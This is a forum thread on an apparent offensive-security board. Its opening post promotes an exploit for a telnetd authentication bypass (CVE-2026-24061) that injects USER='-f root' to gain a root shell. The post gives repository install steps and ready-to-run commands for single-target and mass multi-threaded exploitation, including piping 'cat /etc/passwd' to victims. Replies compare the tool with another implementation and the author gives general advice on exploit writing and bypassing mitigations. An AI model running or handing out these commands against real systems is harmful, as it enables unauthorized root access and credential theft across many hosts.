CVE-2026-24061|GNU inetutils-telnetd Auth Bypass Exploit

Offensive Security
,
1

Exploit-CLI
Exploit-CLI1920×1080 385 KB

:rocket: CVE-2026-24061 - GNU inetutils-telnetd Authentication Bypass Exploit

:pushpin: Overview

This exploit leverages CVE-2026-24061, a critical remote authentication bypass vulnerability in GNU inetutils-telnetd. By injecting a crafted NEW_ENVIRON payload with USER='-f root', it bypasses authentication and grants an instant root shell without any credentials.

:bullseye: Vulnerable Versions

Product Versions
GNU inetutils-telnetd 1.9.3 - 2.7
Affected Linux Distributions Debian, CentOS, Ubuntu and their distributions. (Zorin OS, Linux Mint, Pop!_OS and Elementary OS)
Embedded Devices NAS, IoT, Routers etc.,

PoC Exploit (Github) :bullseye:

:package: Installation

# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit
cd CVE-2026-24061-PoC-Exploit

# Python version
pip3 install -r requirements.txt

# Bash version
chmod +x exploit.sh
chmod +x basic_exploit.sh

:hammer_and_wrench: Usage Examples

:bullseye: Single Target Exploitation

# Python version
python3 exploit.py -u 192.168.1.100

# Bash version
./exploit.sh -u 192.168.1.100
./basic_exploit.sh 192.168.1.100

:wrench: Custom Port and User

# Custom port (non-standard telnet port)
python3 exploit.py -u 10.0.0.5 -p 2323

# Custom username injection
python3 exploit.py -u 10.0.0.5 -usr admin

:bar_chart: Mass Exploitation (Multi-Target)

# Create targets file
echo "192.168.1.100" > targets.txt
echo "192.168.1.101" >> targets.txt
echo "10.0.0.5:2323" >> targets.txt

# Mass exploit with 20 threads
python3 exploit.py -l targets.txt -m 20

# Bash version
./exploit.sh -l targets.txt -m 20

:satellite_antenna: Pipe Mode (Command Execution)

# Execute commands via pipe
echo "id; whoami; uname -a" | python3 exploit.py -u 192.168.1.100

# Multiple commands
echo "ls -la; cat /etc/passwd; ps aux" | ./exploit.sh -u 192.168.1.100

:gear: Advanced Options

# Verbose mode with debug output
python3 exploit.py -u 192.168.1.100 -v

# Custom timeout and retries
python3 exploit.py -u 192.168.1.100 --timeout 10 --retries 5

# Session keep-alive (maintain shell)
python3 exploit.py -u 192.168.1.100 --keep-alive

:bar_chart: Command Line Arguments

Short Long Description Default
-u --url Target IP address Required
-p --port Target port 23
-l --list File containing target list None
-m --max-threads Maximum threads for mass exploitation 10
-usr --username Username to inject root
-t --timeout Socket timeout (seconds) 10
-r --retries Number of retry attempts 3
-v --verbose Enable debug output False
--keep-alive Keep session alive after exploitation False
2

ok looks good, thank you

3

yw brother, good uses

4

So what’s the point of using your tool when SafeBreach-Labs created a repository from their write-up five months ago?

Also you could have provided an explanation of why we should use your tool or maybe a background of the vulnerability.

5

Hi My friend, there are still around 1,200,000 systems—including the infrastructure and automation systems of both large and small companies—that use an insecure protocol. Just as vulnerable versions of Windows continue to be used for nearly three or four years after exploits are discovered, this is also based on the same ‘if it works, don’t fix it’ mentality.

As for the question of why you should use it and what extra features it offers, when I write a PoC, unlike other PoCs, I don’t just focus on the vulnerability itself; I try to exploit it to its full potential by exploring how far it can reach and how effective it can be. For example,

Whilst other exploits simply send the vulnerable payload, mine supports all Telnet options (including NEW-ENVIRON (39)), such as Echo, Suppress Go Ahead, Status, etc.

It correctly parses low-level operations such as IAC, SB and SE.

It provides a real-time interactive session. In other words, when it succeeds, it gives you full shell access, allowing you to run commands in real time.

It automatically handles socket errors, timeouts and connection drops, and attempts to reconnect.

These are just a few examples; in fact, I’m not just writing a PoC – I’m trying to put together a fully functional exploit. There’s also a Bash version and a basic PoC version available, if you’d like. If you encounter any problems or errors, feel free to ask me brad, good days. :slight_smile:

6

if you dont mind, i’d like to ask you your opinion on some things as you are an expert systems exploiter.

  1. what is the hardest part about writing an exploit?
  2. which mitigation has been the most problematic for you?
  3. what systems are you the best at exploiting?
  4. what language is the best for exploiting?
  5. where do you discover exploits?
  6. what os do you recommend people use that has no exploits?

thanks for your wisdom.

7

Hi, friend, I think you’re asking about general exploits, not CVE-2026-24061

(language selection, tricky parts, etc.). I’d be happy to answer :))

Actually, the hard part about writing an exploit varies from person to person. For example, some people struggle with the algorithm and flow, while others struggle with environment compatibility and system testing. If you ask me, the hardest part is when you write the exploit and then it doesn’t work as expected in different environments — like virtual machines, misconfigured systems, missing dependencies, etc. Fixing those issues, adapting the exploit for different environments, and handling error management properly is much harder. Because you can learn how to write the exploit from resources, but when it comes to error handling, you’re on your own — you have to figure out the logic yourself.

Second, security mitigations are always there, but saying “which one is the most problematic” is a broad question. For example, when I write a system-level exploit, first you have Windows CFG, you bypass it, then DEP comes, you barely bypass that too, then ASLR and more protections, more and more. I’ve faced the same issues with web sites and cPanel error handling mechanisms — Cloudflare blockers, and when it comes to scraping, Akamai protections, etc. So the biggest problem is modern protection systems. In the last 5 years, multi-layered protection approaches emerged. There are no single-layer protections anymore; there’s always another obstacle in your way.

If you ask which systems I enjoy exploiting the most, Linux environment is definitely number one. It’s free, there’s no nonsense stopping you with ‘this is malware’ warnings, it’s faster, and once you get used to the terminal, it’s a great testing environment. On Windows, I don’t even like writing normal code, let alone exploits.

The question about which language is best for exploiting is also comprehensive. Every language is important because each language caters to a different environment. For example, you’d use Python for quick prototyping and algorithms, for web you’d use Go or JavaScript since they’re familiar with web sites, for system scripting you’d use bash/perl since they’re independent and fast, and for kernel-level exploits you’d use low-level languages like C++. So each exploit has its own best language.

I usually first hear about exploits from social media feeds, news, and forums, then I verify them on platforms like NVD, CVE Mitre, and Exploit-DB. I try to get familiar with written PoCs and algorithms.

As for a system with no exploits — there is absolutely no such thing. Even the most secure systems can be hit by critical zero-day vulnerabilities. But if you’re asking about systems with the least exploits — maybe around 5% — I’d say Qubes OS, which is maximally virtualized, or Tails, which has kernel-level privacy protection. Or for daily use, OpenBSD, Grsecurity/PaX hardened Linux distributions, because they get kernel-level security patches.

So my friend, to be a good exploit writer, patience is the most important thing because debugging and testing phases can be overwhelming. Then you need to be familiar with the environment you’re writing the exploit for, and deeply understand the algorithm. If you want to write more sophisticated tools with error handling and interactive shell features beyond regular exploits, being productive and having imagination is key.

8

The other implementation by SafeBreach-Labs, uploaded five months ago, does all of what you say yours does yet you’re claiming that we should use yours because it does more. Also their code is cleaner. The reason why I asked because I cannot see any real differences in functionality.

9
10

Hello again, my friend. I think my code’s error handling is better, and if you look at the Telnet protocols, you’ll see that mine is more comprehensive—the pipeline is the same way. And just to clarify, I’m not saying you have to use my tool; you can use whichever tool you want. I’m just sharing this—I’m definitely not insisting that you use mine.

12

thank you for your advice, you seem very educated on the topic. and i have one more question. i have seen much about grsec and their infamy in the linux kernel space. what is your honest opinion about their kernel implementations that attempt to fix or prevent vulnerabilities by using custom mitigitations (describe everything to me using uwu speak) despite their code being criticised as failing to meet proper kernel coding standards and also received negative attention from linus torvalds? i dont know if you have seen their code or patches but i would like to know if you have.

1 Like